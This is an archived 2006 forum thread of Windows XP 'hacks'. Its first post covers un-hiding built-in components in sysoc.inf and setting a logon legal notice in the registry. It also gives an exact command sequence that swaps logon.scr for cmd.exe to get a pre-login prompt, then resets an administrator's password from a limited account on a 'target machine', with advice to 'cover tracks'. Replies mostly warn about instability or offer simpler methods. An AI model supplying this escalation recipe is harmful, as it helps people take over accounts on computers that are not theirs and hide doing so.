PDA

View Full Version : Microsoft Windows Hacks: Take the Power Back


Blue Audio
09-18-2006, 10:08 PM
Not a fan of MSN Messenger? Don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible.

It's fairly easy to change though. Just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp4 0ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list.

Fix this up by simply deleting the word 'hide' like so:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

-------------------------------

A quick hack to reset your administrator password, from almost any account.

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backs up logon.scr
copy cmd.exe temphack\cmd.exe *backs up cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to "blah" and your in.

Good luck!

p.s: Don't forget to copy the contents of temphack back into the system32 dir to cover tracks. Also, if you cannot rename "cmd.exe" to "logon.scr," you can just go into your cmd and type "net user blah blah blah" and it will still work, just not as well.

-------------------------------

The following set of instructions will show you how to display your own personal legal notice for people to see when they touch your computer and you ar not around. This way they have no excuse to say, "oh well I didn't know you didn't want me to delete your hard drive."

Display legal notice on startup:
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Ritalin
09-19-2006, 03:20 AM
There is an easier way to ignore Windows Messenger. And that is to change it's program folder name. :D

I highly recommend against doing any of this. Windows has bizarre dependencies on its built in programs and will become unstable. You might not see the unstableness right away, but later on things will show up.

Syner
09-19-2006, 04:17 AM
There is an easier way to ignore Windows Messenger. And that is to change it's program folder name. :D

I highly recommend against doing any of this. Windows has bizarre dependencies on its built in programs and will become unstable. You might not see the unstableness right away, but later on things will show up.

I completely agree with you. This precedure is planned out but if you mess up one small thing in that system32 folder than you will completely destroy your system

ShinoMatrix
09-19-2006, 07:58 AM
Or do what I did with Messenger... install a program that specifically kills it :p

I know it's probably overkill, but I didn't want to be messing around with too many things without having someone else to blame for it, ie. whoever made the program :XD:

Drake
09-19-2006, 08:02 AM
or you can just not use it...

Neo-Hunter
09-19-2006, 08:32 AM
yea, i agree with drake and shino you can ignore it.

Blue Audio
09-19-2006, 10:27 AM
Actually, so far I haven't had any problems with stablity. I lost my administrator password, so I found the hack, and I've been running fine for about a month and a half now. As long as you copy the files back, you'll be fine.

And with Window messenger, if you add/remove programs it, there shouldn't be any problems either.

Phate
09-19-2006, 10:37 AM
I use Windows messenger. =(

destruxto
09-19-2006, 12:28 PM
You're making this more complicated than it has to be for removing MSN messenger and the like since add/remove programs does have the ability to remove the aforementioned. You have to go to add/remove windows components and you can remove what you want from there without having to mess with any inf files. Of course, you need at least service pack 1 installed but who doesn't have it installed by now?

There are also easier ways to recover your password but I don't think this is the place to be posting such information :P.

PsychoSaiya-jin
09-19-2006, 05:09 PM
If you're going to go that far, why not just buy a mac?

Tyrdium
09-19-2006, 05:20 PM
If you're going to go that far, why not just buy a mac?Good point! :)

- Mac user

WarCry
09-20-2006, 06:08 AM
Why not just click start/run and type msconfig? You can perfectly customize everything you want to start with windows and which services should be running. Much easier than editing the files yourself.